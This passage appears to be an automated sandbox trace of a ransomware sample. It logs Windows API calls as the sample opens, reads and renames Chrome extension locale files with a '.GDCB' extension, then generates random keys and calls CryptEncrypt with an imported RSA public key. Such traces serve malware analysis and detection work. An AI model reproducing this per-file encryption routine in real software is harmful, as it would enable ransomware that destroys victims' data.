(lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.351] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb7, lpOverlapped=0x0) returned 1 [0270.359] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.370] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fi\\messages.json.gdcb")) returned 1 [0270.376] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.379] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.381] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.381] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.381] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.381] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.383] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.385] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.385] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.385] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.385] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.388] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67982a0) returned 1 [0270.388] CryptGetKeyParam (in: hKey=0x67982a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.388] CryptEncrypt (in: hKey=0x67982a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.388] GetLastError () returned 0x0 [0270.388] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.388] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.390] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67987e0) returned 1 [0270.390] CryptGetKeyParam (in: hKey=0x67987e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.390] CryptEncrypt (in: hKey=0x67987e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.390] GetLastError () returned 0x0 [0270.390] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.390] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.391] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.394] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.396] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc7, lpOverlapped=0x0) returned 1 [0270.405] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.412] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fil\\messages.json.gdcb")) returned 1 [0270.417] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0270.420] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.422] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.422] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.422] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.422] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.425] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.427] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.427] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.427] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.427] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.429] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798460) returned 1 [0270.429] CryptGetKeyParam (in: hKey=0x6798460, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.429] CryptEncrypt (in: hKey=0x6798460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.429] GetLastError () returned 0x0 [0270.429] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.429] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.431] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798560) returned 1 [0270.431] CryptGetKeyParam (in: hKey=0x6798560, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.431] CryptEncrypt (in: hKey=0x6798560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.431] GetLastError () returned 0x0 [0270.431] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.431] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.433] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.435] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.438] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xbb, lpOverlapped=0x0) returned 1 [0270.446] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.453] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json.gdcb")) returned 1 [0270.458] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.462] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.464] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.464] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.464] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.464] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0270.467] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.469] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.493] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.493] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.493] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.496] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67985a0) returned 1 [0270.496] CryptGetKeyParam (in: hKey=0x67985a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.496] CryptEncrypt (in: hKey=0x67985a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.496] GetLastError () returned 0x0 [0270.496] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.496] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.498] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798960) returned 1 [0270.498] CryptGetKeyParam (in: hKey=0x6798960, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.498] CryptEncrypt (in: hKey=0x6798960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.498] GetLastError () returned 0x0 [0270.498] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.498] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.500] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.503] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.505] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd2, lpOverlapped=0x0) returned 1 [0270.514] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.521] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json.gdcb")) returned 1 [0270.526] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0270.530] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.532] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.532] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.532] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.532] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0270.535] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.537] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.537] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.537] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.538] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.540] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798ca0) returned 1 [0270.540] CryptGetKeyParam (in: hKey=0x6798ca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.540] CryptEncrypt (in: hKey=0x6798ca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.541] GetLastError () returned 0x0 [0270.541] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.541] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.543] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798e60) returned 1 [0270.543] CryptGetKeyParam (in: hKey=0x6798e60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.543] CryptEncrypt (in: hKey=0x6798e60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.543] GetLastError () returned 0x0 [0270.543] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.543] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.545] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.548] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.550] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xac, lpOverlapped=0x0) returned 1 [0270.558] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.566] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json.gdcb")) returned 1 [0270.571] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.575] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.577] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.577] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.577] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.577] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0270.580] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.581] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.582] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.582] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0270.582] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.584] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798b60) returned 1 [0270.584] CryptGetKeyParam (in: hKey=0x6798b60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.584] CryptEncrypt (in: hKey=0x6798b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.584] GetLastError () returned 0x0 [0270.584] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.584] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.587] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798c60) returned 1 [0270.587] CryptGetKeyParam (in: hKey=0x6798c60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.587] CryptEncrypt (in: hKey=0x6798c60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.587] GetLastError () returned 0x0 [0270.587] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.587] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 